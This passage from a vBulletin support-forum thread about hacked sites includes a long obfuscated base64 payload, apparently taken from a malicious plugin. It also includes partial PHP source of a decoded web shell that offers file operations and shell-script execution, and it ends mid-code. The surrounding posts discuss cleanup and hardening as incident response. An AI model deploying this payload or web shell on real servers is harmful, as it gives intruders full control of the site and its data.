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')));
      exit;
      }
      Last edited by Wayne Luke; Wed 18th Sep '13, 10:31am.

      Comment


      • #4
        Zishad Rider added that plugin to my site as well, in fact TWO of them. I just deleted them from the plugin manager. Thanks for the heads up man! Any of you guys who find new stuff, PLEASE let us know so we can delete it! Thanks!
        Nelson
        www.Hobby-Machinist.com

        Comment


        • #5
          There should not be any plugins on the vBulletin product at all.
          Translations provided by Google.

          Wayne Luke
          The Rabid Badger - a vBulletin Cloud customization and demonstration site.
          vBulletin 5 Documentation - Updated every Friday. Report issues here.
          vBulletin 5 API - Full / Mobile
          I am not currently available for vB Messenger Chats.

          Comment


          • #6
            Originally posted by Allthumbz View Post
            Zishad Rider added that plugin to my site as well, in fact TWO of them. I just deleted them from the plugin manager. Thanks for the heads up man! Any of you guys who find new stuff, PLEASE let us know so we can delete it! Thanks!
            ​If you followed the instructions we posted, you would have found these already. This type of exploit is not new and has been used as long as vBulletin has support Plugins.... This is since 2006. Once someone gets into the AdminCP, they can do a lot of very bad things. We know this. You need to prevent people from getting into the AdminCP.
            Translations provided by Google.

            Wayne Luke
            The Rabid Badger - a vBulletin Cloud customization and demonstration site.
            vBulletin 5 Documentation - Updated every Friday. Report issues here.
            vBulletin 5 API - Full / Mobile
            I am not currently available for vB Messenger Chats.

            Comment


            • #7
              Originally posted by Wayne Luke View Post
              There should not be any plugins on the vBulletin product at all.
              How about:

              1) Forum Runner
              2) PostRelease (from vBulletin?!)
              3) Skimlinks Plugin

              I disabled #2 and #3. Forum Runner is for mobile but not very useful (to me, at least). I might disable it too.

              Comment


              • #8
                Originally posted by Ion Saliu View Post

                How about:

                1) Forum Runner
                2) PostRelease (from vBulletin?!)
                3) Skimlinks Plugin

                I disabled #2 and #3. Forum Runner is for mobile but not very useful (to me, at least). I might disable it too.
                If you notice those all have their own addon products... Forum Runner, PostRelease and Skimlinks respectively. There will also be a product called "vBulletin" and it should not have any plugins assigned to it.

                Admin CP -> Plugins & Products -> Plugin Manager. Arrange Plugins by Product.If you notice those all have their own addon product... Forum Runner, PostRelease and Skimlinks respectively. There will also be a product called "vBulletin" and it should not have any plugins assigned to it.
                Translations provided by Google.

                Wayne Luke
                The Rabid Badger - a vBulletin Cloud customization and demonstration site.
                vBulletin 5 Documentation - Updated every Friday. Report issues here.
                vBulletin 5 API - Full / Mobile
                I am not currently available for vB Messenger Chats.

                Comment


                • #9
                  I remember well one upgrade of vBulletin came with Forum Runner and Skimlinks. I never found those two products of any real use. I am not sure about that PostRelease; apparently, it is an official product of vBulletin.

                  Installed Products
                  vBulletin 4.2.0

                  Forum Runner 4.2.0 Adds push notification for your users using Forum Runner on the iPhone/iPod/iPad. Also takes care of notifying users that your forum supports Forum Runner if they are viewing from a supported device.

                  PostRelease 4.2.0 Official PostRelease plugin for vBulletin

                  Skimlinks Plugin 4.2.0 Official Skimlinks plugin for vBulletin

                  I have also vBSEO, which never gave me any problems. It was no secret, as vBSEO is listed at the bottom of my forum index page.

                  In any event, I will delete Forum Runner, PostRelease, Skimlinks. I don’t need them. The removal can only speed up my forum.

                  Comment


                  • #10
                    Yes, they are each separate products in vBulletin. However I don't care about that page at all. The Manage Products page is not even relevant to fixing the site after a hack. What matters is the Plugin Manager page that lists individivual plugins and it can be sorted by product. There should be no plugins installed under the vBulletin header on that page.

                    If you have products installed but not enabled, they have absolutely no impact on performance. Deleting them gains you absolutely nothing.
                    Translations provided by Google.

                    Wayne Luke
                    The Rabid Badger - a vBulletin Cloud customization and demonstration site.
                    vBulletin 5 Documentation - Updated every Friday. Report issues here.
                    vBulletin 5 API - Full / Mobile
                    I am not currently available for vB Messenger Chats.

                    Comment


                    • #11
                      I have

                      Product : vBulletin Blog

                      and

                      Product : vBulletin CMS

                      on that page, I am assuming they are meant to be there?

                      Comment


                      • #12
                        Originally posted by Wayne Luke View Post

                        If you notice those all have their own addon products... Forum Runner, PostRelease and Skimlinks respectively. There will also be a product called "vBulletin" and it should not have any plugins assigned to it.

                        Admin CP -> Plugins & Products -> Plugin Manager. Arrange Plugins by Product.If you notice those all have their own addon product... Forum Runner, PostRelease and Skimlinks respectively. There will also be a product called "vBulletin" and it should not have any plugins assigned to it.
                        I did not see the plugin listed by the Maintenance Diagnostic function as not being part of VBulletin when I ran it, so I did not notice. The 404.PHP file WAS listed as not part of standard VBulletin, and that is how I found it, by following your very good instructions. I deleted it immediately.

                        VBulletin needs to remove the INSTALL directory as part of its standard installation routine to protect its users. Just having AdminCP refuse to load when install.php is present is obviously not enough. It needs to make config,php more secure by providing an .htaccess file that the user can modify in that directory, and it needs to better protect AdminCP so that it is not so vulnerable, perhaps by adding an .htaccess file to the appropriate /includes directory. There needs to be more emphasis on file protections- any files at 777 and you are asking for trouble. They can be written to and deleted, or the contents scanned to reveal passwords as in the config.php file.

                        If these potentially exploitable areas were known by VB for 3 years, they should have been addressed before the latest round of serial hacking occurred. Saying that people would have ignored the warnings anyway is really begging the issue of customer service and the best security possible for the end user,

                        Nelson
                        www.Hobby-Machinist.com

                        Comment


                        • #13
                          Maintenance -> Diagnostic doesn't have anything to do with Plugins. Plugins are not files. They are PHP code embedded in the database.

                          VBulletin needs to remove the INSTALL directory as part of its standard installation routine to protect its users. Just having AdminCP refuse to load when install.php is present is obviously not enough. It needs to make config,php more secure by providing an .htaccess file that the user can modify in that directory, and it needs to better protect AdminCP so that it is not so vulnerable, perhaps by adding an .htaccess file to the appropriate /includes directory. There needs to be more emphasis on file protections- any files at 777 and you are asking for trouble. They can be written to and deleted, or the contents scanned to reveal passwords as in the config.php file.
                          This right here involves quite a bit of coding to replicate FTP client functionality in vBulletin due to server permissions. Plus add a significant amount of testing to solve the issue. Nor could it be delivered in a patch. So you're demanding immediate action and asking for a solution that will take 6 months to implement.

                          vBulletin 4.2.2 and 5.0.5 do not expose the hash and deleting the install folder in your already existing FTP client (same way you delete install.php after installing) solves the issue now.

                          If customers followed the security guidelines in our online documentation written about 5 years ago, they would have a secure AdminCP and never been vulnerable to begin with.

                          Originally posted by Allthumbz View Post
                          If these potentially exploitable areas were known by VB for 3 years, they should have been addressed before the latest round of serial hacking occurred. Saying that people would have ignored the warnings anyway is really begging the issue of customer service and the best security possible for the end user,
                          We can only address issues when we know about them. We addressed the issue within 24 hours of being alerted to it. That is to delete your install folder. Seemed simpler to have people login with FTP and press one button on their keyboard than any other complex workarounds.

                          I really don't understand your resistance to deleting these files...
                          Last edited by Wayne Luke; Wed 18th Sep '13, 2:03pm.
                          Translations provided by Google.

                          Wayne Luke
                          The Rabid Badger - a vBulletin Cloud customization and demonstration site.
                          vBulletin 5 Documentation - Updated every Friday. Report issues here.
                          vBulletin 5 API - Full / Mobile
                          I am not currently available for vB Messenger Chats.

                          Comment


                          • #14
                            Originally posted by wolfey View Post
                            OK...maybe this will help someone or help prevent this..seems really dangerous, either way it gained access to my entire server!

                            The plugin was installed in product vbulletin>init_startup


                            Here is the code: (sorry it was alot)
                            (Se original post for code - Markowitch)
                            Hi Wolfey, thanks for sharing that interesting piece of code. I made a small program to try to decipher the contents. It's basically a series of base64 encoded strings, that in fact is zipped data. The decoding and unzipping needs to be done approx. 44 times, just like a russian Matryoshka doll. You know, a doll within a doll within a doll, and so on.

                            The inner content is a file manager that can do all sorts of file operations on the target, including execution of shell scripts. It's a fairly polished piece of software that commes with translation support for 10 languages. None of them egyptian/arabic ;-)

                            Code:
                            ?><?php
                            /*
                             * TeaM HacKer EgypT - a simple Web-based file manager
                             * Copyright (C) 2004  TeaM HacKer EgypT <[email protected]>
                             *
                             * This program is free software; you can redistribute it and/or modify
                             * it under the terms of the GNU General Public License as published by
                             * the Free Software Foundation; either version 2 of the License, or
                             * (at your option) any later version.
                             *
                             * This program is distributed in the hope that it will be useful,
                             * but WITHOUT ANY WARRANTY; without even the implied warranty of
                             * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
                             * GNU General Public License for more details.
                             *
                             * You should have received a copy of the GNU General Public License
                             * along with this program; if not, write to the Free Software
                             * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
                             *
                             * -------------------------------------------------------------------------
                             * While using this script, do NOT navigate with your browser's back and
                             * forward buttons! Always open files in a new browser tab!
                             * -------------------------------------------------------------------------
                             *
                             * This is Version 0.9, revision 9
                             * =========================================================================
                             *
                             * Changes of revision 9
                             * <[email protected]>
                             *    added workaround for directory listing, if lstat() is disabled
                             *    fixed permisson of uploaded files (thanks to Stephan Duffner)
                             *
                             * Changes of revision 8
                             * <[email protected]>
                             *    added Turkish translation
                             * <[email protected]>
                             *    added Czech translation
                             * <[email protected]>
                             *    improved charset handling
                             *
                             * Changes of revision 7
                             * <[email protected]>
                             *    added Spanish translation
                             * <[email protected]>
                             *    added Danish translation
                             * <[email protected]>
                             *    improved rename dialog
                             *
                             * Changes of revision 6
                             * <[email protected]>
                             *    added Dutch translation
                             *
                             * Changes of revision 5
                             * <[email protected]>
                             *    added language auto select
                             *    fixed symlinks in directory listing
                             *    removed word-wrap in edit textarea
                             *
                             * Changes of revision 4
                             * <[email protected]>
                             *    added French translation
                             * <[email protected]>
                             *    added Swedish translation
                             *
                             * Changes of revision 3
                             * <[email protected]>
                             *    improved Italian translation
                             *
                             * Changes of revision 2
                             * <[email protected]>
                             *    got images work in some old browsers
                             *    fixed creation of directories
                             *    fixed files deletion
                             *    improved path handling
                             *    added missing word 'not_created'
                             * <[email protected]>
                             *    improved human readability of file sizes
                             * <[email protected]>
                             *    added Italian translation
                             *
                             * Changes of revision 1
                             * <[email protected]>
                             *    TeaM HacKer EgypT completely rewritten:
                             *    - clean XHTML/CSS output
                             *    - several files selectable
                             *    - support for windows servers
                             *    - no more treeview, because
                             *      - TeaM HacKer EgypT is a >simple< file manager
                             *      - performance problems (too much additional code)
                             *      - I don't like: frames, java-script, to reload after every treeview-click
                             *    - execution of shell scripts
                             *    - introduced revision numbers
                             *
                            /* ------------------------------------------------------------------------- */
                            
                            /* Your language:
                             * 'en' - English
                             * 'de' - German
                             * 'fr' - French
                             * 'it' - Italian
                             * 'nl' - Dutch
                             * 'se' - Swedish
                             * 'sp' - Spanish
                             * 'dk' - Danish
                             * 'tr' - Turkish
                             * 'cs' - Czech
                             * 'auto' - autoselect
                             */
                            $lang = 'auto';
                            
                            /* Charset of output:
                             * possible values are described in the charset table at
                             * http://www.php.net/manual/en/function.htmlentities.php
                             * 'auto' - use the same charset as the words of my language are encoded
                             */
                            $site_charset = 'auto';
                            
                            /* Homedir:
                             * For example: './' - the script's directory
                             */
                            $homedir = './';
                            
                            /* Size of the edit textarea
                             */
                            $editcols = 80;
                            $editrows = 25;
                            
                            /* -------------------------------------------
                             * Optional configuration (remove # to enable)
                             */
                            
                            /* Permission of created directories:
                             * For example: 0705 would be 'drwx---r-x'.
                             */
                            # $dirpermission = 0705;
                            
                            /* Permission of created files:
                             * For example: 0604 would be '-rw----r--'.
                             */
                            # $filepermission = 0604;
                            
                            /* Filenames related to the apache web server:
                             */
                            $htaccess = '.htaccess';
                            $htpasswd = '.htpasswd';
                            
                            /* ------------------------------------------------------------------------- */
                            
                            if (get_magic_quotes_gpc()) {
                                array_walk($_GET, 'strip');
                                array_walk($_POST, 'strip');
                                array_walk($_REQUEST, 'strip');
                            }
                            
                            if (array_key_exists('image', $_GET)) {
                                header('Content-Type: image/gif');
                                die(getimage($_GET['image']));
                            }
                            
                            if (!function_exists('lstat')) {
                                function lstat ($filename) {
                                    return stat($filename);
                                }
                            }
                            
                            $delim = DIRECTORY_SEPARATOR;
                            
                            if (function_exists('php_uname')) {
                                $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
                            } else {
                                $win = ($delim == '\\') ? true : false;
                            }
                            
                            if (!empty($_SERVER['PATH_TRANSLATED'])) {
                                $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
                            } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
                                $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
                            } elseif (function_exists('getcwd')) {
                                $scriptdir = getcwd();
                            } else {
                                $scriptdir = '.';
                            }
                            $homedir = relative2absolute($homedir, $scriptdir);
                            
                            $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
                            
                            if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
                                $dir = relative2absolute($dir, $_POST['olddir']);
                            }
                            
                            $directory = simplify_path(addslash($dir));
                            
                            $files = array();
                            $action = '';
                            if (!empty($_POST['submit_all'])) {
                                $action = $_POST['action_all'];
                                for ($i = 0; $i < $_POST['num']; $i++) {
                                    if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
                                        $files[] = $_POST["file$i"];
                                    }
                                }
                            } elseif (!empty($_REQUEST['action'])) {
                                $action = $_REQUEST['action'];
                                $files[] = relative2absolute($_REQUEST['file'], $directory);
                            } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
                                $files[] = $_FILES['upload'];
                                $action = 'upload';
                            } elseif (array_key_exists('num', $_POST)) {
                                for ($i = 0; $i < $_POST['num']; $i++) {
                                    if (array_key_exists("submit$i", $_POST)) break;
                                }
                                if ($i < $_POST['num']) {
                                    $action = $_POST["action$i"];
                                    $files[] = $_POST["file$i"];
                                }
                            }
                            if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
                                $files[] = relative2absolute($_POST['create_name'], $directory);
                                switch ($_POST['create_type']) {
                                case 'directory':
                                    $action = 'create_directory';
                                    break;
                                case 'file':
                                    $action = 'create_file';
                                }
                            }
                            if (sizeof($files) == 0) $action = ''; else $file = reset($files);
                            
                            if ($lang == 'auto') {
                                if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
                                    $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
                                } else {
                                    $lang = 'en';
                                }
                            }
                            
                            $words = getwords($lang);
                            
                            if ($site_charset == 'auto') {
                                $site_charset = $word_charset;
                            }
                            
                            $cols = ($win) ? 4 : 7;
                            
                            if (!isset($dirpermission)) {
                                $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
                            }
                            if (!isset($filepermission)) {
                                $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
                            }
                            
                            if (!empty($_SERVER['SCRIPT_NAME'])) {
                                $self = html(basename($_SERVER['SCRIPT_NAME']));
